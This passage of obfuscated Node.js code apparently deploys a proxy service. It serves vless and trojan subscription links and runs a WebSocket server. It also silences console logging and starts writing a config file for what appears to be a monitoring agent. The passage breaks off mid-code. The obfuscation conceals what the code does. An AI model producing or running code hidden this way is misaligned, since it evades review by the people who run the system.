/g,'_');}}catch(_0x558e8f){ISP=_0x20cc15[_0x2b6484(0x2b9,0x37e,0x2b4,0x2f9)];}};GetISP();const httpServer=http[_0x21134f(-0xad,-0x99,-0x2,-0xae)+'er']((_0x5d8d5c,_0x49ee3c)=>{function _0x56305a(_0x28e131,_0x187577,_0x2cb385,_0x3098ba){return _0x5438be(_0x187577,_0x187577-0x35,_0x3098ba-0x15b,_0x3098ba-0x9c);}function _0x4eb565(_0x4eeabf,_0x2633ba,_0x3a8447,_0x53b3db){return _0x21134f(_0x53b3db,_0x2633ba-0x91,_0x4eeabf-0x274,_0x53b3db-0x3b);}const _0x54d655={'CDDHl':function(_0x51e702){return _0x51e702();},'XruRr':function(_0x48f2fe,_0x154650,_0x1cf4ae){return _0x48f2fe(_0x154650,_0x1cf4ae);},'SoAPG':function(_0x249eba,_0x425f03){return _0x249eba(_0x425f03);},'eYYFK':function(_0x1ce3b6,_0x2b05ee){return _0x1ce3b6+_0x2b05ee;},'GAuJG':'log','GNqJM':_0x56305a(0xf5,0xdf,0x43,0xeb),'orsbe':_0x56305a(0x165,0x72,0x94,0x10c),'HeKgl':function(_0x3d422b,_0xe5145d){return _0x3d422b<_0xe5145d;},'WtFWQ':function(_0x10645a,_0x515ab0){return _0x10645a!==_0x515ab0;},'RhliV':_0x56305a(-0x75,-0x9f,0x5d,0x0),'gHelB':_0x4eb565(0x1fa,0x2c0,0x187,0x141),'BjHlv':_0x56305a(0xee,0x35,0x4a,0x33),'RKOSt':function(_0x15b2f8,_0x403e37){return _0x15b2f8!==_0x403e37;},'ArTlw':_0x4eb565(0x156,0x1da,0x211,0x1a1),'bHaNS':_0x56305a(0xe2,0x14d,0x13a,0xf7),'WTjlQ':_0x4eb565(0x179,0x22f,0xfc,0x12c),'skYji':'utf8','JOAvV':function(_0x2f9cb7,_0x5585bb){return _0x2f9cb7===_0x5585bb;},'wEwdu':'base64','TtsOA':_0x56305a(0xfc,0x9a,0x1e6,0x120)};if(_0x5d8d5c[_0x4eb565(0x17e,0x217,0xde,0x212)]==='/'){if(_0x54d655[_0x4eb565(0x1e3,0x1bb,0x230,0x2a1)](_0x54d655[_0x56305a(-0x5c,-0x28,0x2f,-0x56)],_0x54d655[_0x56305a(-0x3,-0x3c,0x4,0x41)])){const _0x2acb8e=path[_0x4eb565(0x19b,0x229,0x1ae,0x195)](__dirname,_0x54d655[_0x56305a(0xaa,0xbc,0x17b,0xad)]);fs[_0x4eb565(0x193,0x1d8,0xf9,0x21f)](_0x2acb8e,_0x54d655['skYji'],(_0x3fee75,_0x312420)=>{function _0x3b108a(_0x4c2f96,_0x4a7834,_0x49c55e,_0x1eda8e){return _0x4eb565(_0x4a7834- -0x230,_0x4a7834-0x15,_0x49c55e-0x17f,_0x1eda8e);}const _0x5ddaab={'FXibX':function(_0x31096f){function _0x2bd0ea(_0x267d26,_0x55011c,_0x7763c7,_0x4a3e2f){return _0x2de5(_0x4a3e2f- -0x284,_0x55011c);}return _0x54d655[_0x2bd0ea(-0x94,0x20,-0x15d,-0xb1)](_0x31096f);},'uGWkK':function(_0x20d972,_0x5f079c,_0x420219){function _0x4d91a4(_0x59bf78,_0x2914f4,_0x4f9d69,_0x3dd601){return _0x2de5(_0x59bf78- -0x84,_0x2914f4);}return _0x54d655[_0x4d91a4(0x19d,0x267,0x237,0x19b)](_0x20d972,_0x5f079c,_0x420219);},'wKsnY':function(_0x190d32,_0x174fdf){function _0x116155(_0xa25d66,_0xffb2a4,_0x47d039,_0x43b574){return _0x2de5(_0xffb2a4-0x3c3,_0x47d039);}return _0x54d655[_0x116155(0x691,0x64c,0x608,0x704)](_0x190d32,_0x174fdf);},'SzUmp':function(_0x4ed398,_0x59ab8a){function _0x28e507(_0x500ca3,_0x4c13c9,_0x295e93,_0x5c39f7){return _0x2de5(_0x295e93-0xdd,_0x500ca3);}return _0x54d655[_0x28e507(0x23f,0x217,0x28f,0x348)](_0x4ed398,_0x59ab8a);},'mAthh':_0x3b108a(-0x1,-0xa2,-0xe2,-0x167)+_0x3680d9(0x2fa,0x3c3,0x3a7,0x3ad),'EuIWM':_0x54d655[_0x3680d9(0x246,0x369,0x307,0x361)],'vkKSd':_0x54d655[_0x3b108a(-0x17,0x2,0xcc,-0xc9)],'pWdde':_0x3680d9(0x382,0x2a8,0x2e8,0x365),'MKqgO':_0x54d655['orsbe'],'lTfHE':'table','xgvhI':function(_0x55fbf8,_0x39ff86){function _0x59c0d1(_0x54f1d2,_0x3fdf13,_0x2250f3,_0x345176){return _0x3680d9(_0x54f1d2,_0x3fdf13-0x1aa,_0x345176- -0x3ef,_0x345176-0x13e);}return _0x54d655[_0x59c0d1(0x2f,-0x128,-0xb2,-0x65)](_0x55fbf8,_0x39ff86);}};function _0x3680d9(_0x55299f,_0x6a9af6,_0xb85810,_0x466f75){return _0x56305a(_0x55299f-0x2d,_0x55299f,_0xb85810-0x30,_0xb85810-0x352);}if(_0x54d655[_0x3680d9(0x2ba,0x264,0x30b,0x2f9)](_0x54d655[_0x3b108a(0x10,0x63,0xae,0x1f)],_0x54d655[_0x3b108a(-0x6d,0x63,0x12b,0x18)])){const _0x45d76e={'EIXmS':function(_0x8047d4){return _0x5ddaab['FXibX'](_0x8047d4);}};_0x5ddaab[_0x3b108a(0xb,0x8,0x8a,0x36)](_0x205890),_0x5ddaab[_0x3b108a(-0x80,-0x10e,-0x48,-0x139)](_0x2123ec,()=>{function _0x74e2f7(_0x390c19,_0x2c0b46,_0x7ab64f,_0x35a6f3){return _0x3680d9(_0x390c19,_0x2c0b46-0x145,_0x2c0b46- -0x313,_0x35a6f3-0x149);}_0x45d76e[_0x74e2f7(0xef,0x4e,0xe2,0xff)](_0x3d89a7);},0x2*-0x272b9+-0x173*-0xde+-0x51be*-0x14),_0x5ddaab['FXibX'](_0x472e42),_0x243e3b['log'](_0x3680d9(0x45c,0x30a,0x39f,0x3b9)+_0x3680d9(0x390,0x3d9,0x3a6,0x3c2)+_0x3b108a(0x64,0x47,0x117,0x9e)+_0x14e4b7);}else{if(_0x3fee75){if(_0x54d655[_0x3b108a(-0x128,-0xf5,-0xf3,-0x19f)](_0x54d655[_0x3680d9(0x304,0x3f5,0x331,0x2e7)],_0x54d655[_0x3b108a(-0x1a,-0xcf,-0x7f,-0x76)])){let _0x21f800;try{const _0x525feb=twwWYf['wKsnY'](_0x31dd5f,twwWYf['SzUmp'](twwWYf['SzUmp'](twwWYf[_0x3b108a(0x12,-0x4b,0x4b,0x18)],'{}.constru'+'ctor(\x22retu'+_0x3b108a(-0x60,-0xaf,-0x21,-0x134)+'\x20)'),');'));_0x21f800=twwWYf[_0x3b108a(-0xa7,0x8,-0x5a,-0x73)](_0x525feb);}catch(_0x179ea3){_0x21f800=_0x57e1d2;}const _0x25c518=_0x21f800[_0x3b108a(-0x146,-0xab,-0xf0,-0x83)]=_0x21f800[_0x3680d9(0x3ff,0x3d6,0x355,0x37b)]||{},_0x15a8ae=[twwWYf[_0x3680d9(0x374,0x40b,0x40c,0x425)],_0x3680d9(0x499,0x41c,0x40f,0x38a),twwWYf[_0x3b108a(-0x9a,-0x9b,-0x100,-0xae)],twwWYf['pWdde'],twwWYf[_0x3680d9(0x432,0x362,0x360,0x36f)],twwWYf['lTfHE'],_0x3b108a(-0x16,0x75,-0xa,0x1a)];for(let _0x1b5568=-0xc29+-0x22ff+0xbca*0x4;twwWYf[_0x3680d9(0x28a,0x2d8,0x30d,0x260)](_0x1b5568,_0x15a8ae[_0x3b108a(-0x6,0x6d,0x5f,-0x32)]);_0x1b5568++){const _0x15f860=_0x25b63b[_0x3b108a(-0x96,-0x11f,-0x7a,-0x150)+'r'][_0x3b108a(-0x1a,-0x19,0xb3,-0xa9)][_0x3680d9(0x335,0x324,0x340,0x3e2)](_0x57d33b),_0x368368=_0x15a8ae[_0x1b5568],_0x4c7353=_0x25c518[_0x368368]||_0x15f860;_0x15f860['__proto__']=_0x1b0b20['bind'](_0xb188a7),_0x15f860[_0x3680d9(0x46f,0x34f,0x40b,0x4c1)]=_0x4c7353[_0x3680d9(0x3c4,0x399,0x40b,0x41f)]['bind'](_0x4c7353),_0x25c518[_0x368368]=_0x15f860;}}else{const _0x70d267={};_0x70d267[_0x3680d9(0x251,0x337,0x306,0x3a4)+'pe']=_0x3b108a(0x38,-0x7b,-0xff,-0x29),_0x49ee3c['writeHead'](0x168+0x2435+-0x1c1*0x15,_0x70d267),_0x49ee3c[_0x3b108a(-0xdc,-0xcc,-0x11f,-0x2b)](_0x3b108a(-0xb9,-0x7,-0x54,0xa4)+'d!');return;}}const _0x2328ff={};_0x2328ff[_0x3b108a(-0x75,-0xfa,-0x7e,-0x14c)+'pe']=_0x54d655[_0x3680d9(0x31a,0x2ec,0x34b,0x367)],_0x49ee3c['writeHead'](-0x1e10+0x3*-0x349+0x45*0x97,_0x2328ff),_0x49ee3c[_0x3b108a(-0xca,-0xcc,-0x5b,-0xb7)](_0x312420);}});return;}else{const _0x2a82f3=_0x154527[_0x56305a(-0xce,-0x88,-0xf6,-0x71)+'r'][_0x56305a(0x38,0x3,0x34,0x95)]['bind'](_0x30058e),_0x24337c=_0x15b37d[_0x3c5a7f],_0x1b25d4=_0x2fc8b2[_0x24337c]||_0x2a82f3;_0x2a82f3[_0x56305a(0x99,0x7a,0x75,0x4e)]=_0x2b2845['bind'](_0x1a3b1d),_0x2a82f3['toString']=_0x1b25d4[_0x4eb565(0x23b,0x26a,0x1ba,0x1ef)]['bind'](_0x1b25d4),_0x3c0204[_0x24337c]=_0x2a82f3;}}else{if(_0x54d655[_0x56305a(0x102,0x76,0x1af,0x122)](_0x5d8d5c[_0x56305a(-0x24,0x7b,0x68,-0x4)],'/'+SUB_PATH)){const _0x22c8fa='vless://'+UUID+'@'+DOMAIN+(_0x4eb565(0x1f3,0x2b2,0x27e,0x278)+_0x56305a(-0x28,-0xa8,0x30,-0x26)+_0x56305a(-0x22,0x16,-0x19,0x8)+_0x56305a(0x6d,-0x112,-0x12a,-0x64))+DOMAIN+(_0x4eb565(0x1b9,0x1fb,0x23e,0x135)+'&type=ws&h'+'ost=')+DOMAIN+_0x4eb565(0x147,0x140,0x198,0x203)+WSPATH+'#'+NAME+'-'+ISP,_0x259990='trojan://'+UUID+'@'+DOMAIN+(':443?secur'+_0x4eb565(0x16c,0xc4,0xa5,0x1c6)+'i=')+DOMAIN+('&fp=chrome'+_0x4eb565(0x1b3,0x26b,0x284,0x243)+_0x56305a(0xdf,0x17b,0xeb,0x10b))+DOMAIN+'&path=%2F'+WSPATH+'#'+NAME+'-'+ISP,_0x105230=_0x54d655['eYYFK'](_0x54d655[_0x56305a(-0x83,-0xc,0x78,-0x29)](_0x22c8fa,'\x0a'),_0x259990),_0x26fcc4=Buffer[_0x56305a(0x41,-0xa5,0xb8,-0x13)](_0x105230)[_0x4eb565(0x23b,0x1a2,0x25b,0x1ca)](_0x54d655[_0x4eb565(0x198,0x10f,0x246,0x256)]),_0x23314f={};_0x23314f['Content-Ty'+'pe']=_0x54d655[_0x56305a(0x39,-0x88,-0x17,-0x62)],_0x49ee3c[_0x56305a(-0x31,-0x2a,0x8a,-0x3f)](0x8ac*0x2+0x367*-0x3+-0x65b*0x1,_0x23314f),_0x49ee3c[_0x4eb565(0x164,0x1c4,0xc3,0xca)](_0x54d655[_0x56305a(-0x8c,-0x90,-0xa1,-0x29)](_0x26fcc4,'\x0a'));}else{const _0x39cda0={};_0x39cda0[_0x4eb565(0x136,0xaa,0x111,0x160)+'pe']=_0x4eb565(0x2a2,0x2b5,0x32c,0x2cc),_0x49ee3c['writeHead'](0xfca*-0x2+0xc03+0x1525,_0x39cda0),_0x49ee3c[_0x56305a(0xc,-0xa7,-0x69,-0x1e)]('Not\x20Found\x0a');}}}),_0x47b56d={};_0x47b56d[_0x21134f(-0x33,-0x59,0x34,0xfe)]=httpServer;function _0x2709(){const _0x538cf4=['zxaIihWGz3jLCa','Ahr0Chm6lY9HCG','tg9fq3O','Afnrzw8','y29Uy2f0','svfdsMe','zMLUAxnO','Ahr0Chm6lY8','ChPzz3y','y29UBMvJDa','y291BNq6ihrYDq','BMLUzW','vvHLwu0','BNbTigLZihj1BG','ufrMEeO','y2XVC2u','jNr5Cgu9D3mMAa','sM1NB3y','Dgv4Dc9ODg1S','zdy0lNnZC3mUBG','Cvzlz1y','vKruu2e','jMzWpwnOCM9Tzq','sgvlz2W','y3jLyxrLsgfZAa','vLHUseu','Awznuuq','Ahr0Chm6lY9KBG','y09OteO','Cg9YDa','CMLYEKK','yxreAva','yKHHtLm','vuLSwuS','y2HPBgrFChjVyW','u2vYDMvY','DvngweC','whj1uNi','mJa4mW','yZG5yZyW','Aw5JBhvKzxm','Dc1KzwXHEsa0ia','zw1TzfK','nMq0ltKXzMqTyG','u2vYDMvYigLZia','x19WCM90B19F','sLvWywO','reHLEKG','v1jPzwS','quLQrLq','ndqZ','CNvUBMLUzYbVBG','BMn0Aw9UkcKG','wvz2EK8','z1Ddt2O','x3rVx3vWz3jHza','A2ffDhC','DgHLBG','u1vcx1bbveG','D2vgCfC','B28UC2vYDJaWlG','ic0TzgLZywjSzq','wgvNwuq','ue9sva','uKTpu3q','odiXndnPsM5WC1m','Buf0AgG','DLv1EK4','Cg9ZDa','otm4otq5q3PUww5o','tLfktgO','sNzvuwW','wgfhELi','C3rYzwfT','mtK4nZq2mJb0uffhzKy','yxjT','ndmWnteYnNnKsKjdqG','CMvKDwnL','ywjSzsbPCYbLBq','C21qCfm','oJq0mZ9LBMnYEq','ihDPDgGGywXSia','s3bxu0u','E30Uy29UC3rYDq','cMrPC2fIBgvFzG','yvrpwKm','zvbdCMS','q2rwqKi','BwfW','Bty0lNnZC3mUBG','mZy4mZe2uuvcvKXm','Ahr0Chm6lY9ZCa','sMf6sKC','qxzLCfu','zMvOqLu','v2zeExa','cNnRAxbFy29UBG','v1LLz1q','DhLWzq','B2zrteW','A1H6yu4','EfDrC1O','BMCSihnRAxaGCG','DgPXrxO','sunTEu0','zxzLCNK','zvn0CMvHBq','B29TAwm','u05xAhm','t0fxEg8','C2vUza','Bw1HBMrFzxHLyW','y2XPzw50x3nLyW','Cg1cEKq','C2fIBgvFBMf0oG','tNHvy0G','ChjVDg90ExbL','ywjSzv9Zzw5KxW','B25Jzq','wunIsfy','C2ukz3b1oIbMyq','mJa1mW','y2HUy2u','CMvHzfvjBNqXnG','BNbTihj1BM5PBG','BhnLcMrPC2fIBa','C25NtvO','yxnYvwC','t1Hzyxu','DxrLoIbMywXZzq','DhjPBq','tKvAsefFue9sva','Ahr0Chm6lY9HBq','zKnbCgG','sgvSBg8GD29YBa','CxvLCNK6igzHBa','B1LkAe0','ztOGzMfSC2ukDq','u2nsrhy','zw5JB2rPBMC','v1rQBfe','u29bueC','qvvut19bq0nfuW','r05XsK0','BMv0','yxrLoIb0CNvLcG','CNbIAgS','zunUtfe','odq0mW','rLHPyLG','naPZzxj2zxi6ia','mtyXmdq4zMrhAMPf','Dg9tDhjPBMC','rxvjv00','vNzIu2e','shDpseG','D2fYBG','s050svG','zufxu2y','q1rOB0K','DwukAxbFCMvWBW','A3zxDLi','C2XPy2u','C3vIC3rY','Dhvpy3K','mJqXode4nxjzA01kta','Ae9uvLq','CNvUBMLUzW','ChmGyxv4ihWGzW','BMv0l2fKzc11CG','uuzyswy','EhvMqKS','BwvZC2fNzq','zgf0yq','EwmUBw4VywDLBG','qw5ZD2vY','qwnJzxb0','v1nqqvri','ywqGC3vJy2vZCW','zxnZ','yxHPB3m','sgHxAuO','yxbWBgLJyxrPBW','s1r5Evu','CY5NB29NBguVCG','A3DAv2O','zxnVBhzLp25HBq','D3jPDgu','EwmUBw4VDJe','y0jtzwK','EvPOD04','vwXhtfO','C3bSAxq','lwf1Dg8TDxbKyq','re5tihnLCNzLCG','wvPMqxG','ls1ZA2LWlwnVBG','vM9Utgq','ufrSCe8','BgTdBNm','ruXdtfG','DgvZDa','Aw5MBW','CNzeru8','AYbHzgrLzcbZDq','tM1juwW','Dhj1zq','y3jLyxrLu2vYDG','ohfYweDwDW','BNq6ihrYDwukCW','CLnzs1y','AuXhywK','ihbVCNqG','zw52','swD2sgm','C2v0C2LKig5VAa','mtiZnc5HyMmUyW','BIaTlxnRAxaTCa','tMDxzNe','CgLWzq','vu5Pzu0','ls10Bhm','BNbT','yMntteq','tKvAseeGDMfYAq','Ew5J','tfztBxe','ztOGDhj1zqPKAq','iciUl1TUxxbTiG','DgnlD0i','CMvFDgXZoIb0CG','v2v4r0u','BwPsDuS','C2vFAxb2nL9JBW','B3n0pq','zxHJzxb0Aw9U','yvrmvMS','cNrSCZOG','CMvZB2X2zsa','mtzWwLPvsgy','uMHSAvy','t1fUwwi','BI9QC29U','re9nquLo','ic1Wia','r0T4BLi','D3jPDgvgAwXLuW','oIbMywXZzqP1Dq','s0TPrM8','Bg9jt04','BgvUz3rO','zhz2yMK','CMvWic12icjNCG','yw5NDNG','zMLUza','Dgv4Dc9WBgfPBG','DgLVBG','sK9bDLy','DhjHy2u','Ahr0Ca','uM1ktvK','C2vYDMvY','uujkufu','uNzyueu','rMfPBgvKihrVia','BePyzuW','u0vcD3u','BNbTigLZigfSCG','nJmYCNDeu2nP','qKjVru8','yxjJAa','kcGOlISPkYKRkq','u1DkDNa','y29UC3rYDwn0BW','tND2zxa','Cg9W','BgfYzs5JB20VBq','qLLYDwu','BNvSBcaYpIyXia','v3PLz2i','zxjYB3i','Ag1qAvm','uuP2swO','C2vHCMnO','CNrFCgvYAw9KoG','qxv0B21HDgLJia','DgXZjNnUAt0','vMfnA2G','vhrZt0e','zxjYB3i6ia','DuDxA0S','BfDsDfa','Duv2EKq','zYbLCNjVCJO','AgzWC3O','C3reEgi','tKfnrq','q3njD3i','l2jPBI9IyxnO','wKXurvG','qxjuBhC','wMH5wwq','DguGls1YzxbVCG','cMrLyNvNoIbMyq','Ahr0Chm6lY9VBW','y3j5ChrV','z2v0','zgrbwxG','CNrFzgvSyxK6ia','shLOu3G','q29UDgvUDc1uEq','r0f1sKC','A0nMqMG','DxjYDfC','CM9JCYa+l2rLDG','v3rgv1e','Cgf0Aa','EgD2AeK','yYbJB25MAwCUEq','Agv4','zqP0zw1WzxjHDa','C2HHmJi0','ugH3D2y','D3jPDgvizwfK','EM1Zqwi','zv9HDxrVx3vWza','DxbKyxrL','jNbHDgG9jtjg','shvN','vKrduK0','l251BgWGmJ4Mmq','Ag9ZDa','v3Pxvem','CgnkrvG','yxnpCMDHBML6yq','yvvLqu4','DxjLoIbMywXZzq','CMvHzfvjBNq4','BNbTigrVD25SBW','zNvSBhK','suzVB0C','zKrwvhK','zMT0yuK','y291BNrYEq','zgLZywjSzv9JBW','zvLzrKS','Awq6ia','vgL1BKG','ChrPB249BM9Uzq','ALfQELi','CMv0oIa','ywfYy2G2na','r2fcrMS','z0HLBei','q1z6B3q','uuvhB2W','zw5K','vuLdtKW','q3rtsvm','ywLfv1K','sg5lr3K','yxjTnJq','igzHBhnLcMrPCW','cNvZzv9NAxrLzq','Axr5pxrSCYzZBG','y29UzMLNlNLHBq','we1ltKy','zNjVBq','yMLUza','uKLYENu','Dw5SAw5R','zMnSsMK','y2nLC3nMDwXSEq','tLn6yu0','CwrNDxm','D0zHAee','rLvOy0K','Aw5KzxGUAhrTBa','q0resgW','qMPiBhy','y2f0y2G','Bg9N','DxjS','DxaGlI9UCg0Glq','qxzRCgq','CM4GDgHPCYiPka','BLP5r04','y2HTB2qGk3GGBG','qwnJzxnZifrHCW','y29UC29Szq','BhnLcMLUC2vJDq','u25VC0q','zwn0Aw9Ux2nVDq','y3rVCIGICMv0Dq','jNnLy3vYAxr5pq','BvjLBK4','yxbWBhK','wuvPr2K','CMv0DxjUicHMDq','Dw50CNLFy29Kzq','tuTXz08','ruLyBvm','C1DxD2S','CMvHzezPBgu','q0TfDMi','DMTlu2q','Dw5UAw5NlI4U','zMfSC2u','D0v3zhu','CMvWBgfJzq','tKvAsefFu0vsvG','AM9PBG','AhDMANe','zLzjswS','yu9VveK','y29UBMvJDgLVBG','C2HLBgW','AwXTrLy','CxjYvuK'];_0x2709=function(){return _0x538cf4;};return _0x2709();}const wss=new WebSocket[(_0x5438be(-0xb4,-0x1a3,-0x117,-0xf4))](_0x47b56d),uuid=UUID[_0x5438be(-0xd3,-0xb0,-0x144,-0x81)](/-/g,''),DNS_SERVERS=['8.8.4.4','1.1.1.1'];function resolveHost(_0x4dd56f){function _0x246c73(_0x207cd3,_0x4c1aa6,_0x4ae5dc,_0x482348){return _0x21134f(_0x207cd3,_0x4c1aa6-0x88,_0x4c1aa6-0x2a0,_0x482348-0x12a);}const _0x3d0f75={'qdgus':function(_0x3498ca,_0x4ea633){return _0x3498ca===_0x4ea633;},'Haohw':function(_0x2d79f7,_0x371e6a){return _0x2d79f7>_0x371e6a;},'CVzot':_0x246c73(0x227,0x1c3,0x144,0x1a8),'xWQsZ':function(_0x4172bc,_0x5aeaa0){return _0x4172bc!==_0x5aeaa0;},'KKiFo':function(_0x20f552,_0x36b7da){return _0x20f552(_0x36b7da);},'Nwvep':function(_0x23548c){return _0x23548c();}};return new Promise((_0x43ec3a,_0x4e7fa6)=>{const _0x34f818={'ELCLX':function(_0x335de8,_0x4d4276){function _0x552083(_0x3a5af1,_0x3abfbf,_0x283b86,_0x208514){return _0x2de5(_0x3a5af1-0x306,_0x208514);}return _0x3d0f75[_0x552083(0x4d5,0x577,0x523,0x590)](_0x335de8,_0x4d4276);},'gWCOj':function(_0x57359b,_0x10c527){return _0x3d0f75['Haohw'](_0x57359b,_0x10c527);},'hmPiS':_0x41ad74(0x21d,0x235,0x19d,0x259),'ZhyYd':_0x3d0f75[_0x39b921(-0x22b,-0x226,-0x25c,-0x249)],'RmJMY':function(_0x177bdf,_0x54940f){function _0xc6a3b1(_0x2f94e0,_0x173185,_0x4cc881,_0x4a5e05){return _0x41ad74(_0x4cc881,_0x173185-0x7d,_0x4cc881-0x191,_0x173185-0x6f);}return _0x3d0f75[_0xc6a3b1(0x302,0x25f,0x249,0x1a2)](_0x177bdf,_0x54940f);},'WfDyp':function(_0x54a5ad,_0x50eb75){function _0x14932e(_0x1b1abf,_0xd46d71,_0x4dd996,_0x37eebd){return _0x39b921(_0x37eebd-0x728,_0xd46d71-0x1a8,_0x4dd996,_0x37eebd-0xa4);}return _0x3d0f75[_0x14932e(0x6ed,0x613,0x5ba,0x636)](_0x54a5ad,_0x50eb75);},'UICNL':_0x41ad74(0x267,0x300,0x294,0x241)+'n/dns-json'};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x41ad74(0x212,0x23a,0x23f,0x254)](_0x4dd56f)){_0x43ec3a(_0x4dd56f);return;}let _0x57dcbc=-0x16a7+0x1db2+-0x1*0x70b;function _0x1b8c43(){const _0x2f9173={'CsIwr':function(_0x454033,_0xc41614){function _0x17902a(_0xe5746d,_0xc82af6,_0xbe8098,_0x371037){return _0x2de5(_0xe5746d- -0x277,_0xc82af6);}return _0x34f818[_0x17902a(0x4d,-0xb,0x66,0x67)](_0x454033,_0xc41614);},'Avkpd':function(_0x87dde1,_0x3272f7){function _0x4fd266(_0x5a4401,_0x4497d5,_0x44afc1,_0x320c26){return _0x2de5(_0x44afc1- -0x34a,_0x320c26);}return _0x34f818[_0x4fd266(-0x169,-0x15b,-0x118,-0x1bc)](_0x87dde1,_0x3272f7);},'MxqOs':function(_0x25e70f,_0x2e0746){return _0x25e70f(_0x2e0746);},'gPUMg':_0x34f818[_0x3d9204(0x22e,0x20f,0x25d,0x271)],'Cizyl':_0x34f818[_0x243f8f(-0x60,-0xe9,-0x86,-0x69)],'NQJLj':function(_0x448513,_0x464f0e){function _0x5662c3(_0x471ddd,_0x3aa6e1,_0x56d4ad,_0x4ba831){return _0x243f8f(_0x3aa6e1,_0x3aa6e1-0x64,_0x4ba831-0x5f,_0x4ba831-0x13);}return _0x34f818[_0x5662c3(0x20b,0x13c,0x1d2,0x153)](_0x448513,_0x464f0e);},'RvXPE':_0x243f8f(0x2,0x29,0xbb,0x1e),'FvPGP':function(_0x4f718f){return _0x4f718f();}};function _0x243f8f(_0x258b8c,_0x414b96,_0x59b889,_0x57cb32){return _0x39b921(_0x59b889-0x1da,_0x414b96-0x10e,_0x258b8c,_0x57cb32-0x1b2);}if(_0x57dcbc>=DNS_SERVERS[_0x3d9204(0x41c,0x349,0x3e1,0x463)]){_0x34f818[_0x3d9204(0x349,0x3bd,0x346,0x3cd)](_0x4e7fa6,new Error(_0x243f8f(-0x125,-0x119,-0xab,-0x93)+_0x3d9204(0x489,0x497,0x3d5,0x328)+_0x4dd56f+(_0x3d9204(0x407,0x367,0x338,0x367)+_0x243f8f(0x130,0x11e,0xb2,0x53)+'s')));return;}const _0x102d36=DNS_SERVERS[_0x57dcbc];_0x57dcbc++;const _0x16d29c=_0x243f8f(0x6e,-0x43,0xb,-0x41)+_0x243f8f(0x10c,0xc9,0xa8,0xc1)+_0x243f8f(0x15c,0x81,0xaa,0xa6)+'e='+_0x34f818[_0x243f8f(-0xd,0xa0,0x4f,-0x7e)](encodeURIComponent,_0x4dd56f)+'&type=A';function _0x3d9204(_0x52c7f3,_0xc2a67,_0x1b69ee,_0x3b9e5c){return _0x39b921(_0x1b69ee-0x4d1,_0xc2a67-0xe4,_0x52c7f3,_0x3b9e5c-0x1da);}const _0x15c22b={};_0x15c22b[_0x243f8f(0x4e,0x22,0xa0,0x136)]=_0x34f818[_0x3d9204(0x20d,0x243,0x2a9,0x2c9)];const _0x147124={};_0x147124['timeout']=0x1388,_0x147124['headers']=_0x15c22b,axios[_0x3d9204(0x25e,0x1ea,0x276,0x1c9)](_0x16d29c,_0x147124)['then'](_0x423fe3=>{function _0x4915b8(_0x41b5e9,_0x45234b,_0x220fa1,_0x57b260){return _0x3d9204(_0x220fa1,_0x45234b-0xc4,_0x45234b- -0x323,_0x57b260-0x11e);}function _0x391f8e(_0x3f3dc2,_0x4077fa,_0x4d4b64,_0x3a1908){return _0x3d9204(_0x3a1908,_0x4077fa-0xe0,_0x4077fa- -0x252,_0x3a1908-0x1c4);}const _0x1de0b1=_0x423fe3[_0x391f8e(0x20d,0x142,0x109,0x122)];if(_0x2f9173[_0x391f8e(0xb,0x1b,-0x1f,0x89)](_0x1de0b1['Status'],0x121b*-0x1+-0x20a6+0x32c1)&&_0x1de0b1[_0x4915b8(0x90,0x73,-0x23,0x13d)]&&_0x2f9173[_0x391f8e(0x50,0x72,0x130,0xb7)](_0x1de0b1[_0x391f8e(0x135,0x144,0x16b,0x10f)][_0x4915b8(0x87,0xbe,0x8c,0x190)],0x20b*-0x7+0x258b+0xb9f*-0x2)){const _0x31573c=_0x1de0b1[_0x4915b8(0x4d,0x73,0xf2,0x139)][_0x391f8e(0x152,0x193,0x102,0x23c)](_0x36c4bb=>_0x36c4bb[_0x391f8e(0xe0,0xf7,0xf9,0x5c)]===-0x1*0x205c+0x1d49+-0x18a*-0x2);if(_0x31573c){_0x2f9173['MxqOs'](_0x43ec3a,_0x31573c[_0x391f8e(0x10f,0x142,0xa9,0x16c)]);return;}}_0x1b8c43();})[_0x243f8f(0x7c,-0x87,-0x37,-0x2a)](_0x1a1309=>{function _0x48ad44(_0x5292c1,_0x15325f,_0xe109b8,_0x75dd28){return _0x3d9204(_0xe109b8,_0x15325f-0x19d,_0x75dd28-0x2f9,_0x75dd28-0x1d3);}const _0x23ea1d={};_0x23ea1d[_0x2dec73(0x14d,0x161,0xb8,0x228)]=_0x2f9173['gPUMg'],_0x23ea1d[_0x48ad44(0x61c,0x658,0x627,0x5fe)]=_0x2f9173['Cizyl'],_0x23ea1d['SFoND']='config.yam'+'l';const _0x26af33=_0x23ea1d;function _0x2dec73(_0x529d79,_0xefd3d1,_0x2e92cb,_0xd9cb22){return _0x243f8f(_0xd9cb22,_0xefd3d1-0x182,_0xefd3d1-0xec,_0xd9cb22-0x36);}if(_0x2f9173[_0x2dec73(0xa7,0x122,0x10b,0x197)]('rvDEO',_0x2f9173[_0x48ad44(0x480,0x539,0x480,0x544)])){const _0x2285a9=_0x176291[_0x2dec73(0x65,0x104,0x6f,0x142)](':')?_0x1b1e45['split'](':')[_0x48ad44(0x51d,0x5e9,0x5ca,0x550)]():'',_0x229e27=_0x3106c9['includes'](_0x2285a9)?_0x26af33['fCAph']:_0x26af33['rirzI'],_0x26b65b=_0x2dec73(0x155,0x14c,0xfa,0x172)+_0x48ad44(0x4f5,0x505,0x5b9,0x59b)+_0x2bd988+(_0x2dec73(0x5e,0x68,0x56,0x134)+_0x48ad44(0x5c2,0x623,0x707,0x65d)+_0x2dec73(-0xa,0x7e,0xaa,-0x49)+_0x2dec73(0x15c,0x16d,0x197,0x126)+_0x48ad44(0x5dc,0x605,0x65a,0x595)+_0x48ad44(0x67d,0x581,0x679,0x64f)+_0x48ad44(0x720,0x5de,0x5f1,0x661)+_0x2dec73(0x105,0x130,0x99,0x14f)+'orce_updat'+_0x48ad44(0x699,0x62b,0x716,0x6c3)+'sable_nat:'+_0x2dec73(0xe1,0xa3,0xf3,-0x25)+_0x2dec73(0xbc,0x151,0x20f,0x204)+_0x2dec73(0x111,0x163,0x1e7,0xaa)+'se\x0agpu:\x20fa'+_0x48ad44(0x5ec,0x56c,0x56d,0x5c3)+_0x2dec73(0x1d3,0x1c2,0x1b2,0x1ea)+_0x48ad44(0x5c0,0x6e0,0x649,0x680)+_0x2dec73(0x118,0x55,0xf9,-0x50)+'\x201800\x0arepo'+_0x2dec73(0xef,0x6d,0x117,0x3d)+_0x2dec73(0x182,0x172,0xb5,0x1d2))+_0x487bc4+